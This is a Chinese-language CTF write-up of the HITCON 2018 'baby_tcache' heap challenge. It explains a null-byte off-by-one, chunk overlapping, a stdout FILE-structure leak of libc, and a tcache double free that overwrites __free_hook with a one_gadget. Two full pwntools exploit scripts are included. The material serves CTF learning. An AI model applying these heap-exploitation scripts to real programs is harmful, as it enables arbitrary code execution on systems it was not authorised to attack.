fi3ework's Dairy.

2018-hitcon-baby_tcache

字数统计: 2k阅读时长: 12 min
2019/05/03 Share

0x00 程序分析

保护全开,题目提供了libc,版本2.27

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

有两个功能,比children_tcache少一个show

1
2
3
4
5
6
7
8
$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 Baby Tcache 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Delete heap $
$ 3. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

在New heap中有一个明显的null off by one

1
v3[size] = 0;

在Delete heap中,释放堆块时同样会将指针清零,且在堆内存中写满\xda

1
2
3
4
memset(qword_202060[v1], 218, qword_2020C0[v1]);
free(qword_202060[v1]);
qword_202060[v1] = 0LL; //qword_202060存放堆指针
qword_2020C0[v1] = 0LL; //qword_2020C0存放堆大小

0x01 利用分析

首先还是要获取libc的基址,但是程序没有了show的功能,所以题目会变得很难

step.1 利用堆重叠,将堆块分配到 _IO_2_1_stdout_ 文件流结构体内存(children_tcache的方法一)

利用堆重叠我们可以在没有UAF、double free漏洞的情况下,轻松的实现UAF、double free的效果,因为堆重叠成功后的效果,是在同一块内存区域分配了两个chunk

在children_tcache这题中,通过堆重叠实现了UAF(同一块内存区域的两个chunk,一个释放了,一个未释放),即show()出了freed unsortedbin chunk的fd,又实现了double free,将chunk分配到了__malloc_hook。

在baby_tcache这题中,因为我们没有libc的地址,但是想利用double free将chunk分配到 _IO_2_1_stdout_ 文件流结构体内存中。怎么办呢?

_IO_2_1_stdout_ 文件流地址和&main_arena+88的地址后1.5个字节是不会变的,因为系统分配内存是按页分配的,一页的大小为0x1000,他们本身的偏移不会改变,所以后1.5字节是不会变的,但是我们覆盖内存的最小单位是2字节,所以有0.5字节是猜的,需要多次尝试,当两个地址吻合时,就会将chunk分配到 _IO_2_1_stdout_ 文件流内存中,进而覆盖其中的数据。

step.2 利用文件流泄露libc的地址

程序调用puts等函数时,其内部实现是调用 _IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ //pass
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)//pass
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // our target
f->_IO_write_ptr - f->_IO_write_base);

正常的程序流程是接着执行 _IO_do_write,所以我们要pass两个判断,接着 _IO_do_write接着会以同样的参数调用 new_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)//in
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)//pass
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // 我们的目标
...

我们最终是想要程序执行 _IO_SYSWRITE (fp, data, to_do),其三个参数就是上面调用 _IO_do_write时的参数, _IO_SYSWRITE (fp, data, to_do)就是函数 write(fp->fileno, data, to_do) 的原型,因此如果我们能修改相应的参数,使程序运行到这里,那么久会输出 f->_IO_write_base中的数据,而这些数据里面,就会存在固定的libc中的地址。

综上所述,我们想要程序执行到 _IO_SYSWRITE (fp, data, to_do)的条件如下

1
2
3
4
5
6
7
8
9
10
#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

_flags = 0xfbad0000 //高两个字节是magic不用管
_flags & = _IO_NO_WRITES = 0
_flags & _IO_CURRENTLY_PUTTING = 1
_flags & _IO_IS_APPENDING = 1

所以_flag的值为0x0xfbad18*0 *可以为任何数

到了 _IO_SYSWRITE (fp, data, to_do)
即执行 _IO_SYSWRITE (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)
我们将_IO_write_base的低一个自己覆盖为\x08,因为这个地方存放了 _IO_stdfile_2_lock 的地址,而这个地址比__free_hook的地址低0x38个字节,因此泄露出来后,即可以算出libc基址

综上我们需要覆盖的 _IO_2_1_stdout_文件流中数据为

1
2
_flag的值为0x0xfbad18*0 *可以为任何数
覆盖_IO_write_base低一个字节为\x08

当程序调用输出的函数时,比如puts,就会输出 _IO_stdfile_2_lock 的地址

和children_tcache一样,这里我们仍然提供两个exp,一个是不覆盖prev_size的exp,一个是覆盖prev_size的exp

0x02 EXP(不覆盖prev_size进行chunk overlapping)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python
from pwn import *

p = process('./baby_tcache')
elf = ELF('./baby_tcache')
libc = ELF('./libc.so.6')

#context.log_level = 'debug'

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def dele(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def add_7_times(size):
for i in range(7):
add(size,'1111')

def dele_7_times(start,end):
for i in range(start,end+1):
dele(i)

def q():
gdb.attach(p)
raw_input('test')

def pwn():
#Because we will use chunks of size 0x90 and 0x110 multiple times below, so apply them first in the tcache.
add_7_times(0x80)#0-6
dele_7_times(0,6)

add_7_times(0x120)
dele_7_times(0,6)

add_7_times(0x200)#0-6
add(0x208, '7777') #7 chunkA
add(0x200, '8888') #8 chunkB
add(0x200, '9999') #9 chunkC
dele_7_times(0,6)#remain 7 8 9

dele(8)
dele(7)#chunk7 and chunk8 will be merged in unsortedbin

#remain 9
add(0x108,'7'*0x108)#0 The size of chunkB will be overwritten by the original 0x310 to 0x300

#remain 0 9
add_7_times(0x80)#1-7
add(0x80,'8888')#8 chunkb1 Because the size bit of chunkB is changed, gibc cannot correctly locate the prev_size bit of chunkC, so the prev_size bit of chunkC will not change
dele_7_times(1,7)

#remain 0 8 9
add(0x260,'1111')#1 chunkb2
dele(8)#delete chunkb1
dele(9)#delete chunkC
#At this time, the prev_size of chunkC is 0x210, triggering the backward merge, and the chunk memory of chunkB to chunkC will be released

#remain 0 1
dele(1)#put chunkb2 into the tcache
add_7_times(0x80)#1-7
add(0x80,'8888')#8 Redistribute chunkb1,At this time, topchunk and chunkb2 are overlapping
dele_7_times(1,7)
#dele(1) you cannot free a top chunk

#remain 0 8
add_7_times(0x120)#1-7
add(0x120,'9999')#9
dele_7_times(1,7)
add(0x500,'xxxx')#1
dele(9)#unsortedbin


#remain 0 1 8
add(0x50,'\x60\xd7')#2
add(0x260,'1111')#3
payload = p64(0xfbad1810)+p64(0)*3+'\x08'
add(0x260,payload)#4

_IO_stdfile_2_lock = u64(p.recv(6).ljust(8,'\x00'))
log.info('_IO_stdfile_2_lock:' + hex(_IO_stdfile_2_lock))
libc_base = _IO_stdfile_2_lock - libc.symbols['__free_hook'] + 0x38
log.info('libc_base:' + hex(libc_base))
free_hook = libc_base+libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

#both chun2 and chunk3 are chunkb2
#double free
dele(2)
dele(3)#Chunk2 and chunk3 are put into 0x60 tcache
add(0x50,p64(free_hook))
add(0x50,'aaaa')
add(0x50,p64(one_gadget))
dele(0)

if __name__ == '__main__':
while True:
try:
pwn()
p.interactive()
break
except:
p.close()
p = process('./baby_tcache')

0x03 EXP(多次利用null off by one 来清除0xda,然后覆盖prev_size)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
from pwn import *

p = process('./baby_tcache')
elf = ELF('./baby_tcache')
libc = ELF('./libc.so.6')

#context.log_level = 'debug'

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def dele(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))

def add_7_times(size):
for i in range(7):
add(size,'1111')

def dele_7_times(start,end):
for i in range(start,end+1):
dele(i)

def q():
gdb.attach(p)
raw_input('test')

def pwn():
add_7_times(0x120)
dele_7_times(0,6)

add(0x500,'0000')#0
add(0x108,'1111')#1
add(0x4f0,'2222')#2
add(0x100,'3333')#3 Avoid merge with top


dele(0)#unsortedbin
dele(1)

add(0x108,'0'*0x108)#0 The size bit of chunk2 is changed from 0x501 to 0x500
dele(0)

for i in range(1,9):# clear the 0xda in the prev_size of chunk2
add(0x108-i,'x'*(0x108-i))
dele(0)

add(0x108,'0'*0x100+p64(0x620))#0 Forge the prev_size bit of chunk2
dele(2)#triggering chunk overlapping #0x540+0x500=0xa40

#remain 0 3
dele(0)
add(0x500,'1111')#0
add(0x50,'\x60\x57')#1 from unsortedbin
add(0x108,'2222')#2 from 0x30 tcache
payload = p64(0xfbad1810)+p64(0)*3+'\x08'
add(0x108,payload)#4

_IO_stdfile_2_lock = u64(p.recv(6).ljust(8,'\x00'))
log.info('_IO_stdfile_2_lock:' + hex(_IO_stdfile_2_lock))
libc_base = _IO_stdfile_2_lock - libc.symbols['__free_hook'] + 0x38
log.info('libc_base:' + hex(libc_base))
free_hook = libc_base+libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

#remian 0-4
dele(1)
dele(2)
add(0x50,p64(free_hook))
add(0x50,'xxxx')
add(0x50,p64(one_gadget))
dele(0)


if __name__ == '__main__':
while True:
try:
pwn()
p.interactive()
break
except:
p.close()
p = process('./baby_tcache')
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
    1. 2.1. step.1 利用堆重叠,将堆块分配到 _IO_2_1_stdout_ 文件流结构体内存(children_tcache的方法一)
    2. 2.2. step.2 利用文件流泄露libc的地址
  3. 3. 0x02 EXP(不覆盖prev_size进行chunk overlapping)
  4. 4. 0x03 EXP(多次利用null off by one 来清除0xda,然后覆盖prev_size)